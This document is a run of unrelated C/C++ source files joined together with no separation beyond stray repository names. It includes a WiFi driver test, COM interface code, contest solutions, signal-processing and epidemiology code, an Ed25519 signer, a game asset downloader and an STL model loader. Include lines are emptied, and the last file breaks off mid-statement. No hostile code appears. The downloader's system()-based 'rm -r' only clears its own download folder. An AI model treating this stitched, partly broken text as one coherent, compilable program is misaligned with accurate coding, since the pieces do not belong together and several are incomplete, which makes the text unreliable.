"hdf_wifi_test.h" using namespace testing::ext; namespace ModuleTest { class WiFiModuleTest : public testing::Test { public: static void SetUpTestCase(); static void TearDownTestCase(); void SetUp() const; void TearDown() const; }; void WiFiModuleTest::SetUpTestCase() { HdfTestOpenService(); } void WiFiModuleTest::TearDownTestCase() { HdfTestCloseService(); } void WiFiModuleTest::SetUp() const {} void WiFiModuleTest::TearDown() const {} /** * @tc.name: WiFiModuleCreate001 * @tc.desc: wifi create module function test * @tc.type: FUNC * @tc.require: SR000F869D */ HWTEST_F(WiFiModuleTest, WiFiModuleCreate001, TestSize.Level0) { struct HdfTestMsg msg = {TEST_WIFI_TYPE, WIFI_MODULE_CREATE_MODULE, -1}; EXPECT_EQ(0, HdfTestSendMsgToService(&msg)); } /** * @tc.name: WiFiModuleAddFeature001 * @tc.desc: wifi module add feature function test * @tc.type: FUNC * @tc.require: AR000F869K */ HWTEST_F(WiFiModuleTest, WiFiModuleAddFeature001, TestSize.Level0) { struct HdfTestMsg msg = {TEST_WIFI_TYPE, WIFI_MODULE_ADD_FEATURE, -1}; EXPECT_EQ(0, HdfTestSendMsgToService(&msg)); } /** * @tc.name: WiFiModuleDeteleFeature001 * @tc.desc: wifi module delete feature function test * @tc.type: FUNC * @tc.require: AR000F869K */ HWTEST_F(WiFiModuleTest, WiFiModuleDeteleFeature001, TestSize.Level0) { struct HdfTestMsg msg = {TEST_WIFI_TYPE, WIFI_MODULE_DELETE_FEATURE, -1}; EXPECT_EQ(0, HdfTestSendMsgToService(&msg)); } /** * @tc.name: WiFiModuleDelete001 * @tc.desc: wifi delete module function test * @tc.type: FUNC * @tc.require: AR000F869K */ HWTEST_F(WiFiModuleTest, WiFiModuleDelete001, TestSize.Level0) { struct HdfTestMsg msg = {TEST_WIFI_TYPE, WIFI_MODULE_DELETE_MODULE, -1}; EXPECT_EQ(0, HdfTestSendMsgToService(&msg)); } }; #ifndef XFile_HH_ #define XFile_HH_ #include "synhax.hh" extern "C" { #include "xfile.h" } namespace Cx { namespace C { using ::XFile; } class XFile { private: C::XFile* xfile; public: bool allgood; XFile() : xfile( 0 ) , allgood( true ) {} XFile(C::XFile* xfile) : xfile( 0 ) , allgood( true ) { this->xfile = xfile; } bool good() const { return allgood; } bool operator!() const { return !xfile || !allgood; } XFile& operator>>(int& x) { bool good = xget_int_XFile (xfile, &x); allgood = allgood && good; return *this; } XFile& operator>>(uint& x) { bool good = xget_uint_XFile (xfile, &x); allgood = allgood && good; return *this; } XFile& operator>>(luint& x) { bool good = xget_luint_XFile (xfile, &x); allgood = allgood && good; return *this; } XFile& operator>>(char& c) { bool good = xget_char_XFile (xfile, &c); allgood = allgood && good; return *this; } bool skip(const char* pfx) { return skip_cstr_XFile(xfile, pfx); } }; } #endif decl.hpp0 #ifndef decl_h #define decl_h struct Stats { float average; float max; float min; }; #endif #include "bench/util/stream_util.hpp" namespace fly::benchmark { //================================================================================================== std::ios::char_type CommaPunctuation::do_thousands_sep() const { return ','; } //================================================================================================== std::string CommaPunctuation::do_grouping() const { return "\3"; } } // namespace fly::benchmark npocmaka/Windows-Server-2003 //+------------------------------------------------------------------- // // File: iface.cxx // // Contents: Implementation of CComInterfaceInfo // // Classes: CComInterfaceInfo // // History: 27-Mar-2002 JohnDoty Created // //-------------------------------------------------------------------- #include #include #include "iface.hxx" CComInterfaceInfo::CComInterfaceInfo( IN GUID iid, IN GUID ipid, IN OXID oxid) { m_IID = iid; m_IPID = ipid; m_OXID = oxid; m_cRefs = 0; } // IUnknown HRESULT __stdcall CComInterfaceInfo::QueryInterface( IN REFIID riid, OUT void **ppv) { if ((riid == IID_IUnknown) || (riid == IID_IComInterfaceInfo)) { *ppv = this; AddRef(); return S_OK; } return E_NOINTERFACE; } ULONG __stdcall CComInterfaceInfo::AddRef() { return InterlockedIncrement((LONG *)&m_cRefs); } ULONG __stdcall CComInterfaceInfo::Release() { ULONG cRefs = InterlockedDecrement((LONG *)&m_cRefs); if (cRefs == 0) { delete this; } return cRefs; } // IComInterfaceInfo HRESULT __stdcall CComInterfaceInfo::GetIID(OUT IID *pIID) { if (pIID == NULL) return E_POINTER; *pIID = m_IID; return S_OK; } HRESULT __stdcall CComInterfaceInfo::GetIPID(OUT IPID *pIPID) { if (pIPID == NULL) return E_POINTER; *pIPID = m_IPID; return S_OK; } HRESULT __stdcall CComInterfaceInfo::GetOXID(OUT OXID *pOXID) { if (pOXID == NULL) return E_POINTER; *pOXID = m_OXID; return S_OK; } #include #include #include // N E S W const int offset[4][2] = {{-1, 0}, {0, 1}, {1, 0}, {0, -1}}; int n, m; struct Pos { int x, y; }; struct D { // orientations int i; D(int i = 0) : i(i) { } D(char c) { if (c == 'N') i = 0; else if (c == 'E') i = 1; else if (c == 'S') i = 2; else i = 3; } inline D left() const { return {(i + 1) % 4}; } inline D right() const { return {(i + 3) % 4}; } inline Pos move(Pos c) const { return {c.x + offset[i][0], c.y + offset[i][1]}; } inline bool chk(int x, int y) const { int p = x + offset[i][0], q = y + offset[i][1]; if (p < 1 || q < 1 || p > n || q > m) return true; return false; } inline bool mask(int msk) const { return msk >> i & 1; } }; const D dN = {0}, dE = {1}, dS = {2}, dW = {3}; const D dAll[4] = {dN, dE, dS, dW}; inline int fix(int mask, int x, int y) { for (int i = 0; i < 4; ++i) { if (dAll[i].chk(x, y)) mask = (mask | (1 << i)) ^ (1 << i); } return mask; } struct Entity { D d; bool preg; int sex, breed, frozen, count, age; Entity(D d, char g, bool m = true) : d(d), sex(g == 'X'), preg(0), age(m ? 0 : 5), breed(0), frozen(0), count(0) {} inline bool move(int mask) { if (d.mask(mask)) return true; bool L = d.left().mask(mask), R = d.right().mask(mask); if (L && R) { if (++count & 1) d = d.left(); else d = d.right(); } else { if (L) d = d.left(); else d = d.right(); } return false; } }; enum WepType { OneShot, AreaKill, AreaFreeze, GenderToggle }; enum WepEffect { Kill, Freeze, Gender }; const WepType wt[4] = {AreaKill, AreaFreeze, OneShot, GenderToggle}; const WepEffect we[4] = {Kill, Kill, Freeze, Gender}; int dL, dR; int aN[55][55], aE[55][55], aW[55][55], aS[55][55]; struct Weapon { WepType t; int x, y; Weapon(int T, int x, int y) : t(wt[T - 1]), x(x), y(y) { } inline bool on(int p, int q) const { if (t == AreaKill) { int v1, v2; if (x == p) { v1 = std::abs(y - q); if (y < q) v2 = aE[x][y]; else v2 = aW[x][y]; } else { if (y != q) return false; v1 = std::abs(x - p); if (x < p) v2 = aS[x][y]; else v2 = aN[x][y]; } v2 = std::min(v2, dL); return v1 <= v2; } else if (t == AreaFreeze) return (x - p) * (x - p) + (y - q) * (y - q) <= dR; else return x == p && y == q; } inline WepEffect get() const { return we[(int)t]; } }; std::vector map[2][55][55]; std::vector wep[1005]; int ne, nw, lim, tm; int G2[55][55], G[55][55], t = 0, c = 0, cnt = 0; inline void tick() { for (int i = 1; i <= n; ++i) for (int j = 1; j <= m; ++j) map[!c][i][j].clear(); cnt = 0; for (int i = 1; i <= n; ++i) for (int j = 1; j <= m; ++j) if (map[c][i][j].size()) { int freeze = 0; bool gender = 0, skip = 0, born = 0; auto & M = map[c][i][j]; for (auto &v : wep[t]) if (v.on(i, j)) { if (v.get() == Kill) skip = true; else if (v.get() == Freeze) freeze += 3; else gender ^= 1; } if (!skip) { for (auto &v : M) { v.frozen += freeze; if (gender) v.sex ^= 1; if (v.preg && v.breed == 0) { born = true; v.preg = false; } } if (born) for (auto d : dAll) if (d.mask(G[i][j])) { M.push_back(Entity(d, (d.i & 1) ? 'X' : 'Y', false)); } #define ze(x) ((M[0].x) == 0 && (M[1].x) == 0) if (M.size() == 2 && M[0].sex ^ M[1].sex && ze(preg) && ze(frozen) && M[0].age >= 5 && M[1].age >= 5) { M[0].preg = M[1].preg = true; M[0].breed = M[1].breed = 2; M[0].frozen = M[1].frozen = 3; } Pos p = {i, j}; // int sex, breed, frozen, count, age; bool preg; for (auto &v: M) { Pos np = {i, j}; if (v.frozen == 0) { ++v.age; bool flag = v.move(G2[i][j]); if (flag) np = v.d.move(p); } else { --v.frozen; if (v.breed) --v.breed; } map[!c][np.x][np.y].push_back(v); ++cnt; } } } c = !c; } int main() { scanf("%d%d%d%d", &dL, &dR, &n, &m); dR = dR * dR; for (int i = 1; i <= n; ++i) for (int j = 1; j <= m; ++j) { scanf("%d", &G[i][j]); G2[i][j] = fix(G[i][j], i, j); if (dN.mask(G2[i][j])) aN[i][j] = aN[i - 1][j] + 1; if (dW.mask(G2[i][j])) aW[i][j] = aW[i][j - 1] + 1; } for (int i = n; i >= 1; --i) for (int j = m; j >= 1; --j) { if (dE.mask(G2[i][j])) aE[i][j] = aE[i][j + 1] + 1; if (dS.mask(G2[i][j])) aS[i][j] = aS[i + 1][j] + 1; } scanf("%d", &ne); for (int i = 1; i <= ne; ++i) { static int x, y; static char di[5], se[5]; scanf("%d%d%s%s", &x, &y, di, se); map[0][x][y].push_back(Entity(D(di[0]), se[0])); } scanf("%d%d", &nw, &lim); for (int i = 1; i <= nw; ++i) { static int typ, tim, x, y; scanf("%d%d%d%d", &typ, &tim, &x, &y); if (typ != 3) wep[tim].push_back(Weapon(typ, x, y)); else wep[tim + 3].push_back(Weapon(3, x, y)); } scanf("%d", &tm); while (t <= tm) { tick(); ++t; if (cnt > lim) { puts("-1"); return 0; } } printf("%d\n", cnt); return 0; } 10-100 // ------------------------------------------------------------------------ // // Copyright 2021 SPTK Working Group // // // // Licensed under the Apache License, Version 2.0 (the "License"); // // you may not use this file except in compliance with the License. // // You may obtain a copy of the License at // // // // http://www.apache.org/licenses/LICENSE-2.0 // // // // Unless required by applicable law or agreed to in writing, software // // distributed under the License is distributed on an "AS IS" BASIS, // // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // // See the License for the specific language governing permissions and // // limitations under the License. // // ------------------------------------------------------------------------ // #include "SPTK/conversion/generalized_cepstrum_gain_normalization.h" #include // std::copy, std::transform #include // std::exp, std::pow #include // std::size_t namespace sptk { GeneralizedCepstrumGainNormalization::GeneralizedCepstrumGainNormalization( int num_order, double gamma) : num_order_(num_order), gamma_(gamma), is_valid_(true) { if (num_order_ < 0 || !sptk::IsValidGamma(gamma_)) { is_valid_ = false; return; } } bool GeneralizedCepstrumGainNormalization::Run( const std::vector& generalized_cepstrum, std::vector* normalized_generalized_cepstrum) const { // Check inputs. if (!is_valid_ || generalized_cepstrum.size() != static_cast(num_order_ + 1) || NULL == normalized_generalized_cepstrum) { return false; } // Prepare memories. if (normalized_generalized_cepstrum->size() != static_cast(num_order_ + 1)) { normalized_generalized_cepstrum->resize(num_order_ + 1); } if (0.0 == gamma_) { (*normalized_generalized_cepstrum)[0] = std::exp(generalized_cepstrum[0]); std::copy(generalized_cepstrum.begin() + 1, generalized_cepstrum.end(), normalized_generalized_cepstrum->begin() + 1); } else { const double z(1.0 + gamma_ * generalized_cepstrum[0]); (*normalized_generalized_cepstrum)[0] = std::pow(z, 1.0 / gamma_); std::transform(generalized_cepstrum.begin() + 1, generalized_cepstrum.end(), normalized_generalized_cepstrum->begin() + 1, [z](double c) { return c / z; }); } return true; } bool GeneralizedCepstrumGainNormalization::Run( std::vector* input_and_output) const { if (NULL == input_and_output) return false; return Run(*input_and_output, input_and_output); } } // namespace sptk /*************************************************************************** * Copyright (c) 2018, , , , and * * * * Copyright (c) 2018, QuantStack * * * * Distributed under the terms of the BSD 3-Clause License. * * * * The full license is in the file LICENSE, distributed with this software. * ****************************************************************************/ #include "pybind11/pybind11.h" #include "xutils.hpp" namespace py = pybind11; namespace xpyt { /********************* * completion module * *********************/ py::module get_completion_module_impl() { py::module completion_module("completion"); exec(py::str(R"( # Implementation from https://github.com/ipython/ipython/blob/master/IPython/core/inputtransformer2.py import sys import re import tokenize import warnings from codeop import compile_command _indent_re = re.compile(r'^[ \t]+') def find_last_indent(lines): m = _indent_re.match(lines[-1]) if not m: return 0 return len(m.group(0).replace('\t', ' '*4)) def leading_indent(lines): if not lines: return lines m = _indent_re.match(lines[0]) if not m: return lines space = m.group(0) n = len(space) return [l[n:] if l.startswith(space) else l for l in lines] class PromptStripper: def __init__(self, prompt_re, initial_re=None): self.prompt_re = prompt_re self.initial_re = initial_re or prompt_re def _strip(self, lines): return [self.prompt_re.sub('', l, count=1) for l in lines] def __call__(self, lines): if not lines: return lines if self.initial_re.match(lines[0]) or \ (len(lines) > 1 and self.prompt_re.match(lines[1])): return self._strip(lines) return lines classic_prompt = PromptStripper( prompt_re=re.compile(r'^(>>>|\.\.\.)( |$)'), initial_re=re.compile(r'^>>>( |$)') ) interactive_prompt = PromptStripper(re.compile(r'^(In \[\d+\]: |\s*\.{3,}: ?)')) def _extract_token(token, tokens_by_line, parenlev): tokens_by_line[-1].append(token) if (token.type == tokenize.NEWLINE) \ or ((token.type == tokenize.NL) and (parenlev <= 0)): tokens_by_line.append([]) elif token.string in {'(', '[', '{'}: parenlev += 1 elif token.string in {')', ']', '}'}: if parenlev > 0: parenlev -= 1 if sys.version_info.major == 3: def _gen_tokens(lines, tokens_by_line, parenlev): for token in tokenize.generate_tokens(iter(lines).__next__): _extract_token(token, tokens_by_line, parenlev) else: class Token(): def __init__(self, token_tuple): self.type = token_tuple[0] self.string = token_tuple[1] self.start = token_tuple[2] self.end = token_tuple[3] self.line = token_tuple[4] def _gen_tokens(lines, tokens_by_line, parenlev): for token_tuple in tokenize.generate_tokens(iter(lines).next): token = Token(token_tuple) _extract_token(token, tokens_by_line, parenlev) def make_tokens_by_line(lines): tokens_by_line = [[]] if len(lines) > 1 and not lines[0].endswith(('\n', '\r', '\r\n', '\x0b', '\x0c')): warnings.warn("`make_tokens_by_line` received a list of lines which do not have lineending markers ('\\n', '\\r', '\\r\\n', '\\x0b', '\\x0c'), behavior will be unspecified") parenlev = 0 try: _gen_tokens(lines, tokens_by_line, parenlev) except tokenize.TokenError: # Input ended in a multiline string or expression. That's OK for us. pass if not tokens_by_line[-1]: tokens_by_line.pop() return tokens_by_line def check_complete(cell): # Remember if the lines ends in a new line. ends_with_newline = False for character in reversed(cell): if character == '\n': ends_with_newline = True break elif character.strip(): break else: continue if not ends_with_newline: cell += '\n' lines = cell.splitlines(True) if not lines: return 'complete', None if lines[-1].endswith('\\'): # Explicit backslash continuation return 'incomplete', find_last_indent(lines) cleanup_transforms = [ leading_indent, classic_prompt, interactive_prompt, ] try: for transform in cleanup_transforms: lines = transform(lines) except SyntaxError: return 'invalid', None if lines[0].startswith('%%'): # Special case for cell magics - completion marked by blank line if lines[-1].strip(): return 'incomplete', find_last_indent(lines) else: return 'complete', None tokens_by_line = make_tokens_by_line(lines) if not tokens_by_line: return 'incomplete', find_last_indent(lines) if tokens_by_line[-1][-1].type != tokenize.ENDMARKER: # We're in a multiline string or expression return 'incomplete', find_last_indent(lines) newline_types = {tokenize.NEWLINE, tokenize.COMMENT, tokenize.ENDMARKER} # Pop the last line which only contains DEDENTs and ENDMARKER last_token_line = None if {t.type for t in tokens_by_line[-1]} in [ {tokenize.DEDENT, tokenize.ENDMARKER}, {tokenize.ENDMARKER} ] and len(tokens_by_line) > 1: last_token_line = tokens_by_line.pop() while tokens_by_line[-1] and tokens_by_line[-1][-1].type in newline_types: tokens_by_line[-1].pop() if len(tokens_by_line) == 1 and not tokens_by_line[-1]: return 'incomplete', 0 if tokens_by_line[-1][-1].string == ':': # The last line starts a block (e.g. 'if foo:') ix = 0 while tokens_by_line[-1][ix].type in {tokenize.INDENT, tokenize.DEDENT}: ix += 1 indent = tokens_by_line[-1][ix].start[1] return 'incomplete', indent + 4 if tokens_by_line[-1][0].line.endswith('\\'): return 'incomplete', None # At this point, our checks think the code is complete (or invalid). # We'll use codeop.compile_command to check this with the real parser try: with warnings.catch_warnings(): warnings.simplefilter('error', SyntaxWarning) res = compile_command(''.join(lines), symbol='exec') except (SyntaxError, OverflowError, ValueError, TypeError, MemoryError, SyntaxWarning): return 'invalid', None else: if res is None: return 'incomplete', find_last_indent(lines) if last_token_line and last_token_line[0].type == tokenize.DEDENT: if ends_with_newline: return 'complete', None return 'incomplete', find_last_indent(lines) # If there's a blank line at the end, assume we're ready to execute if not lines[-1].strip(): return 'complete', None return 'complete', None )"), completion_module.attr("__dict__")); return completion_module; } py::module get_completion_module() { static py::module completion_module = get_completion_module_impl(); return completion_module; } } lelange/memilio /* * Copyright (C) 2020-2021 German Aerospace Center (DLR-SC) * * Authors: , * * Contact: <> * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #include "memilio/epidemiology/uncertain_matrix.h" namespace mio { UncertainContactMatrix::UncertainContactMatrix(size_t num_matrices, Eigen::Index num_groups) : UncertainContactMatrix(ContactMatrixGroup(num_matrices, num_groups)) { } UncertainContactMatrix::UncertainContactMatrix(const ContactMatrixGroup& cont_freq) : m_cont_freq(cont_freq) , m_dampings() , m_school_holiday_damping(0.0, mio::DampingLevel(0), mio::DampingType(0), mio::SimulationTime(0), {}, Eigen::VectorXd::Zero(cont_freq.get_num_groups())) , m_school_holidays() { } UncertainContactMatrix::operator ContactMatrixGroup const &() const { return m_cont_freq; } UncertainContactMatrix::operator ContactMatrixGroup&() { return m_cont_freq; } UncertainContactMatrix& UncertainContactMatrix::operator=(const ContactMatrixGroup& cont_freq) { m_cont_freq = cont_freq; return *this; } ContactMatrixGroup& UncertainContactMatrix::get_cont_freq_mat() { return m_cont_freq; } ContactMatrixGroup const& UncertainContactMatrix::get_cont_freq_mat() const { return m_cont_freq; } ContactMatrixGroup UncertainContactMatrix::draw_sample(bool accum) { draw_sample_dampings(); return make_matrix(accum); } void UncertainContactMatrix::draw_sample_dampings() { for (auto& d : m_dampings) { d.draw_sample(); } m_school_holiday_damping.draw_sample(); } ContactMatrixGroup UncertainContactMatrix::make_matrix(bool accum) { if (!accum) { m_cont_freq.clear_dampings(); } auto make_matrix = [](auto&& v) { return mio::make_contact_damping_matrix(v); }; mio::apply_dampings(m_cont_freq, m_dampings, make_matrix); for (auto h : m_school_holidays) { //enable damping at the start of the period auto damping = m_school_holiday_damping; damping.set_time(h.first); mio::apply_dampings(m_cont_freq, make_range(&damping, &damping + 1), make_matrix); //disable damping at the end of the period damping.get_value() = 0.0; damping.set_time(h.second); mio::apply_dampings(m_cont_freq, make_range(&damping, &damping + 1), make_matrix); } return m_cont_freq; } } // namespace mio// Copyright 2017 The CrunchyCrypt Authors. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. #include "crunchy/internal/algs/sign/ed25519.h" #include #include #include #include "absl/memory/memory.h" #include "absl/strings/string_view.h" #include "crunchy/internal/algs/openssl/errors.h" #include "crunchy/util/status.h" #include namespace crunchy { namespace { class Ed25519Signer : public SignerInterface { public: explicit Ed25519Signer(absl::string_view private_key) : private_key_(private_key) {} StatusOr Sign(absl::string_view input) const override { uint8_t out_sig[ED25519_SIGNATURE_LEN]; if (ED25519_sign(out_sig, reinterpret_cast(input.data()), input.length(), reinterpret_cast(private_key_.data())) != 1) { return InternalErrorBuilder(CRUNCHY_LOC).LogInfo() << "Boringssl internal error computing Ed25519 signature: " << GetOpensslErrors(); } return std::string(reinterpret_cast(out_sig), ED25519_SIGNATURE_LEN); } private: const std::string private_key_; }; class Ed25519Verifier : public VerifierInterface { public: explicit Ed25519Verifier(absl::string_view public_key) : public_key_(public_key) {} Status Verify(absl::string_view input, absl::string_view signature) const override { if (signature.length() != ED25519_SIGNATURE_LEN) { return InvalidArgumentErrorBuilder(CRUNCHY_LOC).LogInfo() << "Length of signature [" << signature.length() << "] does not match expected size [" << ED25519_SIGNATURE_LEN << "] for Ed25519"; } if (ED25519_verify( reinterpret_cast(input.data()), input.length(), reinterpret_cast(signature.data()), reinterpret_cast(public_key_.data())) != 1) { return InvalidArgumentErrorBuilder(CRUNCHY_LOC).LogInfo() << "Ed25519 signature verification failure."; } return OkStatus(); } private: const std::string public_key_; }; class Ed25519Factory : public SignerFactory { public: Status NewKeypair(std::string* public_key, std::string* private_key) const override { uint8_t out_public_key[ED25519_PUBLIC_KEY_LEN]; uint8_t out_private_key[ED25519_PRIVATE_KEY_LEN]; ED25519_keypair(out_public_key, out_private_key); public_key->assign(reinterpret_cast(out_public_key), ED25519_PUBLIC_KEY_LEN); private_key->assign(reinterpret_cast(out_private_key), ED25519_PRIVATE_KEY_LEN); return OkStatus(); } StatusOr> MakeSigner( absl::string_view private_key) const override { if (private_key.length() != ED25519_PRIVATE_KEY_LEN) { return InvalidArgumentErrorBuilder(CRUNCHY_LOC).LogInfo() << "Length of private key [" << private_key.length() << "] does not match expected size [" << ED25519_PRIVATE_KEY_LEN << "] for Ed25519"; } return {absl::make_unique(private_key)}; } StatusOr> MakeVerifier( absl::string_view public_key) const override { if (public_key.length() != ED25519_PUBLIC_KEY_LEN) { return InvalidArgumentErrorBuilder(CRUNCHY_LOC).LogInfo() << "Length of public key [" << public_key.length() << "] does not match expected size [" << ED25519_PUBLIC_KEY_LEN << "] for Ed25519"; } return {absl::make_unique(public_key)}; } }; } // namespace const SignerFactory& GetEd25519Factory() { static const SignerFactory& factory = *new Ed25519Factory(); return factory; } } // namespace crunchy library/core/render/gl-program.cc // Copyright (C) 2014 . All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "gl-program.h" namespace render { GLProgram::GLProgram() : program_(0), vaild_(false) {} void GLProgram::Init() { // TODO: maybe fail check program_ = glCreateProgram(); } void GLProgram::AttachShader(const GLShaderObject& shader) { glAttachShader(program_, shader.get_shader()); } void GLProgram::Link() { vaild_ = false; glLinkProgram(program_); GLint ok; glGetProgramiv(program_, GL_LINK_STATUS, &ok); if (ok) { vaild_ = true; } } char* GLProgram::InfoLog() { // PFNGLGETSHADERIVPROC glGet__iv = glGetProgramiv; PFNGLGETSHADERINFOLOGPROC glGet__InfoLog = glGetProgramInfoLog; glGet__InfoLog(program_, 1024, NULL, (GLchar* )&info_log_); return info_log_; } void GLProgram::Delete() { if (vaild_) glDeleteProgram(program_); vaild_ = false; } void GLProgram::Use() { if (vaild_) { glUseProgram(program_); } } void GLProgram::DetachShader(const GLShaderObject& shader) { glDetachShader(program_, shader.get_shader()); } } // namespace render // // assets_downloader.cpp // Cooloi_Assets_Downloader // // Created by ESoragoto on 11/16/15. // // #include "assets_downloader.hpp" #include #if (CC_TARGET_PLATFORM != CC_PLATFORM_WIN32) #include #include #endif AssetsDownloader::AssetsDownloader(const std::string def_pkg_url, const std::string def_ver_url, const std::string download_dir, int max_retry): retry_(0), max_retry_(max_retry), percent_(0), dir_to_save_(download_dir), path_to_save_(""), status_(), downloading_(false), package_url_(def_pkg_url), version_url_(def_ver_url), now_downloading_("") { } AssetsDownloader::~AssetsDownloader() { AssetsManager* asset_manager = GetAssetManager(); CC_SAFE_DELETE(asset_manager); } bool AssetsDownloader::Init() { InitDownloadDir(); return true; } int AssetsDownloader::Download(const std::string url) { set_downloading(true); set_retry(0); set_now_downloading(url); return DoDownload(url); } int AssetsDownloader::DoDownload(const std::string url) { // log("Now downloading : %s", now_downloading().c_str()); if (AssetsManager::ErrorCode::NETWORK != status()) { set_retry(0); } set_package_url(url); GetAssetManager()->update(); set_status(AssetsManager::ErrorCode::CREATE_FILE); return 0; } int AssetsDownloader::Reset() { // Remove downloaded files #if (CC_TARGET_PLATFORM != CC_PLATFORM_WIN32) std::string command = "rm -r "; // Path may include space. command += "\"" + path_to_save_ + "\""; // command += "\"" + FileUtils::getInstance()->getWritablePath() + "\""; #pragma GCC diagnostic push #pragma GCC diagnostic ignored "-Wdeprecated-declarations" system(command.c_str()); #pragma GCC diagnostic pop #else std::string command = "rd /s /q "; // Path may include space. command += "\"" + path_to_save_ + "\""; system(command.c_str()); #endif GetAssetManager()->deleteVersion(); InitDownloadDir(); return 0; } int AssetsDownloader::Delet() { auto asset_manager = GetAssetManager(); CC_SAFE_DELETE(asset_manager); return 0; } void AssetsDownloader::onError(AssetsManager::ErrorCode errorCode) { set_status(errorCode); log("Error on Downloading : %s\nError code : %d", now_downloading().c_str(), status()); switch (status()) { case AssetsManager::ErrorCode::NETWORK: { if (max_retry() > retry()) { log("Retry download"); set_retry(retry() + 1); log("Retry : %d", retry()); DoDownload(package_url()); } else { set_downloading(false); } } break; case AssetsManager::ErrorCode::UNCOMPRESS: { set_downloading(false); } break; default: set_downloading(false); break; } } void AssetsDownloader::onProgress(int percent) { set_percent(percent); } void AssetsDownloader::onSuccess() { log("Download finished with : %s", now_downloading().c_str()); set_now_downloading(""); set_downloading(false); } AssetsManager* AssetsDownloader::GetAssetManager() { static AssetsManager *asset_manager = NULL; if (asset_manager) { asset_manager->setPackageUrl(package_url().c_str()); } if (!asset_manager) { asset_manager = new AssetsManager(package_url_.c_str(), version_url_.c_str(), path_to_save_.c_str()); asset_manager->setDelegate(this); asset_manager->setConnectionTimeout(3); } return asset_manager; } void AssetsDownloader::InitDownloadDir() { log("InitDownloadDir"); path_to_save_ = FileUtils::getInstance()->getWritablePath(); path_to_save_ += dir_to_save_; log("Path: %s", path_to_save_.c_str()); #if (CC_TARGET_PLATFORM != CC_PLATFORM_WIN32) DIR *pDir = NULL; pDir = opendir(path_to_save_.c_str()); if (!pDir) { mkdir(path_to_save_.c_str(), S_IRWXU | S_IRWXG | S_IRWXO); } #else if ((GetFileAttributesA(path_to_save_.c_str())) == INVALID_FILE_ATTRIBUTES) { CreateDirectoryA(path_to_save_.c_str(), 0); } #endif log("InitDownloadDir end"); } #include "vehicle.h" void Vehicle::setLicense(std::string s) { license = s; } std::string Vehicle::getLicense() { return license; }#include using namespace std; int dp[1<<18]; void f1() { int a,b,c; } int solve(int n, int r, int c) { int res=0; for(int i=0;i0 && (n&(1<<(i*c+j))) && (n&(1<<(i*c+j-1)))) res++; if(i>0 && (n&(1<<(i*c+j))) && (n&(1<<(i*c+j-c)))) res++; f1(); } } return res; } int main() { std::ios_base::sync_with_stdio(false);cin.tie(NULL); int t, r, c , n, temp; cin >> t; f1(); for(int tt=1;tt<=t;tt++) { cin >> r >> c >> n; cout << "Case #" << tt << ": "; temp=r*c*n*100; f1(); for(int i=1;i<(1<<(r*c));i++) { dp[i]=dp[i-(i&-i)]+1; if(dp[i]==n) temp=min(temp,solve(i,r,c)); f1(); } cout << temp << "\n"; } return 0; } #include #include #include #include #include #include #include using namespace std; typedef long long LL; char s[100010]; int len,l[100010],r[100010],tot; LL sz[100010],sum,ans,ans2; int main() { scanf("%s",s); len=strlen(s); l[++tot]=0; for(int i=1;i<=len;i++) { if(s[i]==s[i-1]) continue; else r[tot]=i-1,l[++tot]=i; } tot--; for(int i=1;i<=tot;i++) sz[i]=(LL)r[i]-(LL)l[i]+1LL; for(int i=1;i<=tot;i+=2) ans+=sum*sz[i],sum+=sz[i]; sum=0; for(int i=2;i<=tot;i+=2) ans+=sum*sz[i],sum+=sz[i]; for(int i=1;i<=tot;i++) ans+=(sz[i]+1)*sz[i]/2; for(int i=1;i<=tot;i++) if(l[i]%2==0||r[i]%2==0) sz[i]=(r[i]-l[i])/2+1; else sz[i]=(r[i]-l[i])/2; sum=0; for(int i=1;i<=tot;i+=2) ans2+=sum*sz[i],sum+=sz[i]; sum=0; for(int i=2;i<=tot;i+=2) ans2+=sum*sz[i],sum+=sz[i]; for(int i=1;i<=tot;i++) ans2+=(sz[i]+1)*sz[i]/2; for(int i=1;i<=tot;i++) sz[i]=(r[i]-l[i]+1)-sz[i]; sum=0; for(int i=1;i<=tot;i+=2) ans2+=sum*sz[i],sum+=sz[i]; sum=0; for(int i=2;i<=tot;i+=2) ans2+=sum*sz[i],sum+=sz[i]; for(int i=1;i<=tot;i++) ans2+=(sz[i]+1)*sz[i]/2; cout< namespace sk { struct stl_header_t { uint8_t header[80]; uint32_t tri_count; }; #pragma pack(1) struct stl_triangle_t { vec3 normal; vec3 verts[3]; uint16_t attribute; }; struct point_hash_t { vec3 key; vind_t value; }; /////////////////////////////////////////// vind_t indexof(vec3 pt, vec3 normal, vert_t **verts, point_hash_t **indmap) { vind_t result = hmget(*indmap, pt); if (result == -1) { result = (vind_t)arrlen(*verts); hmput(*indmap, pt, result); arrput(*verts, (vert_t{ pt, {}, {}, {255,255,255,255} })); } (*verts)[result].norm += normal; return result; } /////////////////////////////////////////// bool modelfmt_stl_binary(void *file_data, size_t, vert_t **verts, vind_t **faces) { stl_header_t *header = (stl_header_t *)file_data; point_hash_t *indmap = nullptr; hmdefault(indmap, (vind_t)-1); stl_triangle_t *tris = (stl_triangle_t *)(((uint8_t *)file_data) + sizeof(stl_header_t)); for (uint32_t i = 0; i < header->tri_count; i++) { arrput(*faces, indexof(tris[i].verts[0], tris[i].normal, verts, &indmap) ); arrput(*faces, indexof(tris[i].verts[1], tris[i].normal, verts, &indmap) ); arrput(*faces, indexof(tris[i].verts[2], tris[i].normal, verts, &indmap) ); } hmfree(indmap); return true; } /////////////////////////////////////////// bool modelfmt_stl_text(void *file_data, size_t, vert_t **verts, vind_t **faces) { point_hash_t *indmap = nullptr; hmdefault(indmap, (vind_t)-1); vec3 normal = {}; vind_t curr[4] = {}; int32_t curr_count = 0; stref_t data = stref_make((const char *)file_data); stref_t line = {}; while (stref_nextline(data, line)) { stref_t word = 